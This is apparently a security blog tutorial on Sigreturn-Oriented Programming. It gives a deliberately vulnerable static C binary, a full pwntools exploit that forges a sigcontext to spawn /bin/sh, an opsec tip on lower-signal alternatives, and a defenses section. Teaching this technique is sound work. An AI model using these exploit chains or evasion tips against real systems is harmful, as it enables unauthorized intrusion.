SROP: Sigreturn-Oriented Programming

SROP: Sigreturn-Oriented Programming - article cover image RE & Pwn
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Sigreturn-Oriented Programming (SROP) is a ROP variant that sets the entire CPU register state in a single step by abusing the kernel’s signal-return mechanism. When a signal handler finishes, the kernel restores every saved register from a sigcontext structure that was pushed onto the user stack when the signal was delivered. SROP forges that structure by hand: lay a fake sigcontext on a stack you control, invoke the rt_sigreturn syscall, and the kernel obligingly loads rax, rdi, rsi, rdx, rsp, rip, and the rest from your forged frame — no per-register pop gadgets required.

The appeal is gadget economy. A full ROP chain to call execve("/bin/sh", 0, 0) needs gadgets to load rdi, rsi, rdx, and rax, plus a syscall. SROP needs only two things: the ability to trigger rt_sigreturn (syscall number 15 on x86-64) with rax = 15, and a syscall; ret instruction. Everything else — including the final register values for the real syscall you want — comes from the forged frame. This makes SROP invaluable in extremely gadget-poor binaries, such as tiny statically linked or nolibc targets. pwntools models the frame with SigreturnFrame.

Attack Prerequisites

SROP trades gadget breadth for a few specific requirements:

  • Control of a large, known-address stack region to hold the forged sigcontext (roughly 248 bytes on x86-64) that rt_sigreturn will consume.
  • A way to set rax = 15 and reach a syscall instruction — often a pop rax; ret gadget, or the classic trick of using a syscall whose return value lands 15 in rax (e.g. a read of 15 bytes).
  • A syscall (or syscall; ret) gadget somewhere executable; static binaries and libc both contain these.
  • A target of the final syscall — for a shell, the "/bin/sh" string must exist at a known address or be written into a known writable region first.

How It Works

On x86-64 Linux, signal delivery pushes a rt_sigframe onto the user stack; its core is a sigcontext (a struct sigcontext / ucontext_t member) containing saved copies of the general-purpose registers, rip, rsp, eflags, the segment/cs fields, and a pointer to FP state. The rt_sigreturn syscall (number 15) is what the signal trampoline calls when the handler returns; it reads that sigcontext off the stack and copies the values back into the real registers before returning to userland at the restored rip with the restored rsp. The kernel does essentially no validation of the values — that is the whole vulnerability class.

SROP forges the rt_sigframe directly. Because the frame includes both rip and rsp, one rt_sigreturn performs an arbitrary register set plus an arbitrary jump in a single transaction. The standard payoff is to set rax = 59 (execve), rdi = &"/bin/sh", rsi = 0, rdx = 0, and rip = &(syscall; ret), so that immediately after the frame is restored the CPU executes the execve syscall you configured. The cs, ss, and eflags fields must be plausible (matching normal userland values) or the return faults.

The bootstrap is the only subtlety: you must first get rax = 15 and reach a syscall. If a pop rax; ret gadget exists, it is trivial. If not, the canonical alternative chains a read: read returns the number of bytes read in rax, so arranging a read of exactly 15 bytes leaves rax = 15, and the following syscall becomes rt_sigreturn. From there the forged frame takes over completely.

Why does the kernel accept a frame the attacker fabricated? Because rt_sigreturn is architecturally required to restore whatever the signal delivery path saved, and it has no way to distinguish a genuine, kernel-pushed sigcontext from a forged one — both are just bytes on the user stack at the moment the syscall runs. The kernel does sanitize a handful of fields for safety: certain eflags bits are masked, and the segment registers / cs are forced to sane userland selectors so a frame cannot request kernel privilege. But the general-purpose registers, rip, and rsp are restored verbatim, which is the entire exploitation surface. This is also why SROP is remarkably portable across kernel versions: the frame layout is part of the stable syscall ABI, so a correctly built SigreturnFrame works the same way across a wide range of kernels without per-version tuning.

Vulnerable Code / Setup

A deliberately minimal, statically linked target with a stack overflow and almost no convenient gadgets — the environment where SROP earns its keep:

// gcc -static -fno-stack-protector -no-pie -o srop srop.c
#include <unistd.h>
void vuln(void){
    char buf[64];
    read(0, buf, 1024);      // BUG: large overflow, controlled stack
}
int main(void){ vuln(); return 0; }
C

Static linking gives fixed addresses for a syscall; ret and typically leaves a "/bin/sh" string somewhere in the image, so no leak is needed. checksec confirms No PIE and no canary; NX is irrelevant because SROP never executes injected code:

$ checksec --file=./srop
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
TEXT

Walkthrough / Exploitation

pwntools builds the forged sigcontext with SigreturnFrame; set the fields you care about and it serializes the full ~248-byte structure with correct offsets and default cs/ss/eflags. First locate the primitives — a syscall; ret, a pop rax; ret, and the "/bin/sh" string:

from pwn import *
context.binary = elf = ELF('./srop')
io = process('./srop')

rop = ROP(elf)
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
pop_rax     = rop.find_gadget(['pop rax', 'ret'])[0]
binsh       = next(elf.search(b'/bin/sh\x00'))
Python

Now craft the frame for execve("/bin/sh", NULL, NULL). rip points at the syscall gadget and rax holds 59; the frame supplies all three arguments and a sane rsp:

frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # 59
frame.rdi = binsh                  # '/bin/sh'
frame.rsi = 0                       # argv = NULL
frame.rdx = 0                       # envp = NULL
frame.rip = syscall_ret            # execute the execve syscall
frame.rsp = elf.bss(0x800)         # a valid stack for after return
Python

Finally assemble the overflow: fill to the saved return address, trigger rt_sigreturn by loading rax = 15 and hitting the syscall gadget, and place the serialized frame immediately after so the kernel reads it as the sigcontext:

OFF = 64 + 8
payload  = b'A' * OFF
payload += p64(pop_rax) + p64(15)  # rax = 15 -> rt_sigreturn
payload += p64(syscall_ret)        # invoke rt_sigreturn; consumes the frame
payload += bytes(frame)            # the forged sigcontext
io.send(payload)
io.interactive()                   # $ id; cat flag
Python

When the syscall at rax = 15 runs, the kernel pops the forged sigcontext off the stack and restores every register from it — including rax = 59, the three execve arguments, and rip pointing back at the syscall gadget — then returns to userland already primed to execute execve("/bin/sh", 0, 0). Two gadgets, one string, a shell.

Note: The "/bin/sh" string is often the missing piece. If the binary contains no such string, chain an SROP read first: forge a frame that calls read(0, writable, 8) with rip pointing at a second syscall; ret, send "/bin/sh\x00" into a known .bss address, then chain a second forged frame for execve. SROP frames compose because each can set rsp to point at the next frame.

Opsec: SROP requires no libc leak and no NX bypass, so it is exceptionally reliable, but the final execve("/bin/sh") is an obvious behavioral signature. Where a shell is unnecessary, an SROP mprotect+read-shellcode or a direct file-read syscall chain is lower-signal than spawning /bin/sh under a network daemon.

Detection and Defense

SROP abuses a legitimate kernel feature, so defenses focus on denying the preconditions and detecting the anomaly:

  • Stack canaries and fortified source to prevent the overflow that supplies the controlled stack for the forged frame.
  • PIE + ASLR so the syscall; ret gadget, "/bin/sh" string, and writable staging addresses are not at fixed, guessable locations.
  • seccomp-bpf syscall filtering — a sandbox that blocks execve/execveat (and, more aggressively, unexpected rt_sigreturn outside real signal handling) sharply limits what a forged frame can achieve.
  • Intel CET shadow stacks which detect the mismatched return/rip transitions characteristic of ROP-style control-flow hijack.
  • seccomp/audit alerting on execve from long-running network services to catch the terminal shell spawn.

Real-World Impact

SROP was formalized in academic work by Bosman and Bos (“Framing Signals — A Return to Portable Shellcode,” IEEE S&P 2014), which showed that signal-return restoration is a portable, Turing-complete exploitation primitive across several UNIX-like systems. In practice it is the go-to method for exploiting gadget-starved static binaries and tiny CTF targets where conventional ROP cannot assemble enough register-loading gadgets. Its enduring importance is conceptual as much as practical: it demonstrated that a benign, deeply embedded OS feature can itself be the exploitation engine, which motivated seccomp filtering of rt_sigreturn and hardware control-flow integrity.

Conclusion

SROP collapses register setup into one operation by forging the sigcontext that rt_sigreturn restores. With only a syscall; ret, a means to set rax = 15, and a known stack, you set every register at once and drop into execve("/bin/sh"). pwntools’ SigreturnFrame makes the forged structure a handful of field assignments. It is the exploitation technique of choice when gadgets are scarce, and a vivid reminder that the signal machinery — trusted, portable, and barely validated — is squarely part of the attack surface.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL